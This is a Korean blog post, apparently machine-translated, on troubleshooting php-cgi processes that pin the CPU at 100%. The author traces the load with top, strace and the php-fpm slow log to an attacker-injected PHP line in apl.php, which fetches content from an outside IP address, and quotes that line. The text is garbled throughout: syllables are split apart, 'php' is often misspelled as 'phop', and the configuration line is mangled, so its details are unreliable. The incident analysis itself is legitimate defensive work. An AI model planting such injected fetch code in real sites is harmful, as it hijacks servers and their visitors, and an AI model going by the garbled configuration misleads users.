linux php - cgi. exe cpu 100% 차지 하 는 장벽 여행
이 구조 로 전환 한 지 이틀 만 에 nagios 의 신 고 를 받 았 습 니 다. 경보 메 시 지 는 웹 서버 부하 가 매우 높다 는 것 을 보 여 주 었 습 니 다. 그래서 SecureCRT 를 통 해 서버 에 로그 인 했 습 니 다. top 명령 으로 보 니 phop - cgi 프로 세 스 가 대량의 CPU 를 차지 하 는 것 을 발 견 했 습 니 다. 다음 과 같 습 니 다.
13889 www 25 0 228m 14m 9344 S 100.4 0.1 14:51.22 php-cgi
13882 www 25 0 227m 13m 9284 S 100.1 0.1 10:53.18 php-cgi
13924 www 25 0 227m 9936 5732 S 100.1 0.1 23:20.80 php-cgi
13927 www 25 0 226m 5228 2064 R 100.1 0.0 24:44.24 php-cgi
13827 www 25 0 228m 15m 10m R 99.7 0.1 12:57.60 php-cgi
13900 www 25 0 228m 19m 13m R 99.7 0.1 9:03.09 php-cgi
위의 캡 처 를 통 해 우 리 는 그 몇 개의 phop - cgi 프로 세 스 가 대량의 CPU 를 차지 할 뿐만 아니 라 실행 시간 도 매우 길 다 는 것 을 알 수 있 습 니 다. 원래 phop - cgi 는 요청 을 받 고 빠르게 실행 되 었 는데 왜 이 몇 개 는 그렇게 오래 실행 되 었 는데 도 아직 풀 리 지 않 았 습 니까?그래서 명령 ls - l / proc / 13827 / fd / 를 사용 하여 이 오 랜 프로 세 스 가 무엇 을 하고 있 는 지 확인 한 결 과 는 다음 과 같 습 니 다.
lrwx------ 1 www www 64 Dec 11 12:03 0 -> socket:[68444030]
l-wx------ 1 www www 64 Dec 11 12:03 1 -> pipe:[68444057]
l-wx------ 1 www www 64 Dec 11 12:03 2 -> pipe:[68444058]
lrwx------ 1 www www 64 Dec 11 12:03 3 -> socket:[68468225]
lrwx------ 1 www www 64 Dec 11 12:03 4 -> socket:[68469788]
lrwx------ 1 www www 64 Dec 11 12:03 5 -> socket:[68457928]
파일 을 열지 않 았 거나 파일 을 쓰 지 않 은 것 을 보 았 습 니 다. 이 프로 세 스 는 아무 일 도 하지 않 았 습 니 다. 이상 합 니 다. 그리고 strace 명령 으로 이 프로 세 스 가 무엇 을 하고 있 는 지 추적 해 보 시 겠 습 니까?
strace -p 13827
poll([{fd=4, events=POLLIN}], 1, 0) = 0 (Timeout)
select(5, [4], [4], [], {15, 0}) = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0) = 0 (Timeout)
select(5, [4], [4], [], {15, 0}) = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0) = 0 (Timeout)
select(5, [4], [4], [], {15, 0}) = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0) = 0 (Timeout)
select(5, [4], [4], [], {15, 0}) = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0) = 0 (Timeout)
select(5, [4], [4], [], {15, 0}) = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0) = 0 (Timeout)
select(5, [4], [4], [], {15, 0}) = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0) = 0 (Timeout) …….
이 프로 세 스 가 끊임없이 시간 을 초과 하 는데 도대체 왜 시간 을 초과 하 는 지 알 수 있다.php - cgi 로그 에서 문 제 를 찾 아야 할 것 같 습 니 다. 원래 php - fpm. conf 설정 의 시간 초과 시간 이 0 이 었 기 때문에 시간 초과 시간 을 설정 하지 않 았 습 니 다.따라서 phop - fpm. conf 의 시간 초과 시간 을 5s 로 설정 한 다음 5s 가 넘 는 phop - cgi 의 요청 은 phop 의 느 린 로그 에 기록 합 니 다. 설정 은 다음 과 같 습 니 다.
3s logs/slow.log
설정 이 완료 되 었 습 니 다. 명령 / usr / local / phop / sbin / phop - fpm restart 를 이용 하여 phop - fpm 를 다시 시작 합 니 다. 잠시 후 slow. log 의 내용 을 보면 다음 과 같은 내용 이 많이 발 견 됩 니 다.
script_filename = /data/htdocs/bbs.hrloo.com/apl.php [0x00007fffb060fd70] file_get_contents() /data/htdocs/bbs.hrloo.com/apl.php:10
보기 / data / htdocs / bbs. hrloo. com / apl. php 열 번 째 줄 의 내용 은 다음 과 같 습 니 다.
echo file_get_contents('http://121.10.108.227:86/yh.asp');
인터넷 에서 찾 아 보 니 php 라 는 함 수 를 소개 합 니 다. 인터넷 주소 의 응답 이 느 릴 때 CPU 의 점용 이 높 은 상황 이 발생 하고 계속 걸 리 며 시간 을 초과 하지 않 습 니 다. 이 링크 를 보고 한 소설 사 이 트 를 방문 해 보 세 요. 다른 사람 이 공격 한 후에 끼 워 넣 은 것 입 니 다. 이 파일 을 복원 한 후에 정상 으로 회복 합 니 다.이상 하 게 도 NFS 를 설치 한 웹 서버 에 서 는 그 문제 가 발생 하지 않 는 다. 원래 그 사이트 가 느 리 고 NFS 를 통 해 호출 이 더 느 려 졌 기 때문에 이 고장 이 난 것 같다.이번 고장 에 감 사 드 리 고 나 서 야 이 심각 한 문 제 를 발견 하 였 습 니 다.
고장 이 복구 되 었 으 나 문 제 는 아직 해결 되 지 않 았 으 며, 파일 이 어떻게 수정 되 었 는 지 에 중점 을 두 고 유사 한 사고 가 재발 하지 않도록 해 야 한다.보아하니 아래 에는 아직 바 쁜 일이 많은 것 같다.허허!
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
다양한 언어의 JSONJSON은 Javascript 표기법을 사용하여 데이터 구조를 레이아웃하는 데이터 형식입니다. 그러나 Javascript가 코드에서 이러한 구조를 나타낼 수 있는 유일한 언어는 아닙니다. 저는 일반적으로 '객체'{}...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.